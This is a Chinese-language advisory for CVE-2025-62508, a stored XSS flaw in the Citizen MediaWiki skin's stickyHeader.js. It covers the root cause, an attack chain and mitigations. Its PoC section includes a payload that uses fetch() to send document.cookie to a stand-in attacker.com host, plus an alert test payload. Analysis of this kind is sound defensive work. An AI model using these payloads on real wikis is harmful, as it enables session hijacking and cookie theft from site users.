IPBUF安全漏洞报告
English
CVE-2025-62508 CVSS 6.5 中危

CVE-2025-62508:Citizen MediaWiki皮肤存储型XSS漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62508
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
StarCitizenTools MediaWiki-skins-Citizen

相关标签

XSS存储型XSSStored XSS跨站脚本MediaWikiCitizenStarCitizenToolsmediawiki-skins-CitizenCVE-2025-62508innerHTML

漏洞概述

CVE-2025-62508是Citizen MediaWiki皮肤中存在的一个存储型跨站脚本(Stored XSS)漏洞,影响版本范围为3.3.0至3.9.0(不含3.9.0修复版本),已在3.9.0版本中修复。Citizen是一款广受欢迎的MediaWiki皮肤,旨在将各类扩展功能整合为统一的用户体验。该漏洞存在于stickyHeader.js文件中的copyButtonAttributes函数中,该函数在复制按钮标签时,将源元素的textContent赋值给目标元素的innerHTML。由于textContent会自动将HTML实体进行反转义还原,导致系统消息内容(如citizen-share、citizen-view-history、citizen-view-edit和nstab-talk)中经过转义的HTML被解释为实际的HTML标签,从而触发XSS攻击。该漏洞的利用条件为攻击者需要拥有editinterface(编辑界面消息)权限,但不需要editsitejs(编辑站点JavaScript)权限。在MediaWiki的默认权限配置中,sysop(管理员)用户组通常拥有editinterface权限,因此该漏洞的影响面较广。成功利用此漏洞的攻击者可以在其他用户的浏览器会话中执行任意JavaScript代码,进而窃取敏感信息(如会话令牌、Cookie)、执行未授权操作(如修改页面内容、提升权限),甚至完全劫持受害者账户。该漏洞的CVSS 3.1评分为6.5,属于中危级别,但其实际危害程度可能因MediaWiki站点的权限配置而异。

技术细节

该漏洞的根本原因在于stickyHeader.js文件中copyButtonAttributes函数的实现存在安全缺陷。该函数的设计初衷是将原始按钮元素的属性(包括标签文本)复制到粘性头部(sticky header)中的对应按钮上。然而,在实现过程中,开发者使用了innerHTML属性来设置目标按钮的标签文本,而赋值来源是源元素的textContent属性。

在DOM API中,textContent属性会返回元素及其后代的文本内容,并且会自动将HTML实体(如&lt;、&gt;、&amp;等)反转义为对应的字符。当这些字符通过innerHTML属性设置到目标元素时,浏览器会将其解析为HTML标记而非纯文本。例如,如果系统消息citizen-share的内容被设置为"&lt;img src=x onerror=alert(1)&gt;",textContent会返回"<img src=x onerror=alert(1)>",然后通过innerHTML赋值后,浏览器会将其解析为实际的img标签并执行onerror事件中的JavaScript代码。

攻击利用方式如下:
1. 攻击者需要拥有editinterface权限(默认情况下sysop用户组拥有此权限);
2. 攻击者编辑受影响的系统消息页面(如MediaWiki:citizen-share),在其中注入包含恶意JavaScript的HTML标签;
3. 由于系统消息编辑会自动对内容进行HTML转义存储,攻击者需要使用会被转义后存储但能被textContent还原的payload;
4. 当任何用户访问使用Citizen皮肤的页面时,粘性头部会渲染这些按钮,触发恶意脚本执行;
5. 恶意脚本可以在受害者浏览器中执行任意操作,如窃取会话信息、发起CSRF攻击等。

值得注意的是,该漏洞特别危险,因为它只需要editinterface权限而不需要editsitejs权限,这意味着即使站点管理员禁用了JavaScript编辑功能,攻击者仍然可以利用此漏洞执行JavaScript代码。

攻击链分析

STEP 1
步骤1:获取权限
攻击者获取MediaWiki站点的editinterface(编辑界面消息)权限。在默认配置下,sysop(管理员)用户组拥有此权限,攻击者可能通过社会工程学、凭据泄露或权限提升等方式获得该权限。
STEP 2
步骤2:注入恶意载荷
攻击者编辑受影响的系统消息页面(如MediaWiki:citizen-share、MediaWiki:citizen-view-history、MediaWiki:citizen-view-edit或MediaWiki:nstab-talk),在消息内容中注入包含恶意JavaScript代码的HTML标签。MediaWiki会自动对内容进行HTML实体转义后存储。
STEP 3
步骤3:触发渲染
当任何用户(包括普通用户和管理员)访问使用Citizen皮肤的MediaWiki页面时,stickyHeader.js中的copyButtonAttributes函数会被执行,将系统消息的textContent(已自动反转义)通过innerHTML赋值给粘性头部按钮。
STEP 4
步骤4:执行恶意代码
浏览器将innerHTML内容解析为实际的HTML标签,触发恶意JavaScript代码执行。攻击者可以窃取用户的会话Cookie、CSRF令牌,或执行其他未授权操作。
STEP 5
步骤5:数据窃取与权限提升
恶意脚本将窃取的敏感信息发送到攻击者控制的服务器,攻击者可利用获取的会话信息劫持受害者账户,进一步执行权限提升、页面篡改或数据窃取等攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-62508 - Citizen MediaWiki Skin Stored XSS Vulnerability: innerHTML assigned from textContent in copyButtonAttributes function Affected file: stickyHeader.js Affected messages: citizen-share, citizen-view-history, citizen-view-edit, nstab-talk --> // Step 1: Attacker with editinterface permission edits MediaWiki system message // For example, edit the page: MediaWiki:citizen-share // Set the content to a malicious payload that will be HTML-escaped upon saving // but interpreted as HTML when rendered via innerHTML // Example malicious content for MediaWiki:citizen-share: // <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> // When MediaWiki saves this, it HTML-escapes the content to: // &lt;img src=x onerror=&quot;fetch('https://attacker.com/steal?cookie='+document.cookie)&quot;&gt; // Step 2: The vulnerable code in stickyHeader.js executes: function copyButtonAttributes(sourceElement, targetElement) { // Vulnerable line: textContent returns decoded HTML entities const labelText = sourceElement.textContent; // innerHTML interprets the decoded content as HTML targetElement.innerHTML = labelText; } // Step 3: When any user visits a page with Citizen skin, // the sticky header renders the button with the malicious script // The browser parses the innerHTML content as actual HTML, // triggering the onerror event handler // Step 4: The attacker's server receives the victim's session cookie // or performs other malicious actions // Verification PoC (simpler test payload): // Set MediaWiki:citizen-share to: <svg onload=alert(document.domain)> // After saving (HTML-escaped): &lt;svg onload=alert(document.domain)&gt; // When rendered in sticky header: alert(document.domain) executes

影响范围

mediawiki-skins-Citizen >= 3.3.0
mediawiki-skins-Citizen < 3.9.0

防御指南

临时缓解措施
在无法立即升级到3.9.0版本的情况下,建议采取以下临时缓解措施:1)限制editinterface权限的分配,仅授予完全信任的用户;2)在MediaWiki配置中临时禁用Citizen皮肤的stickyHeader功能或回退到默认皮肤Vector;3)通过修改stickyHeader.js文件,将innerHTML赋值改为textContent赋值,以手动修复漏洞;4)启用Content Security Policy(CSP)头部,限制内联脚本的执行;5)对受影响的系统消息页面(citizen-share、citizen-view-history、citizen-view-edit、nstab-talk)进行审查,移除可疑内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表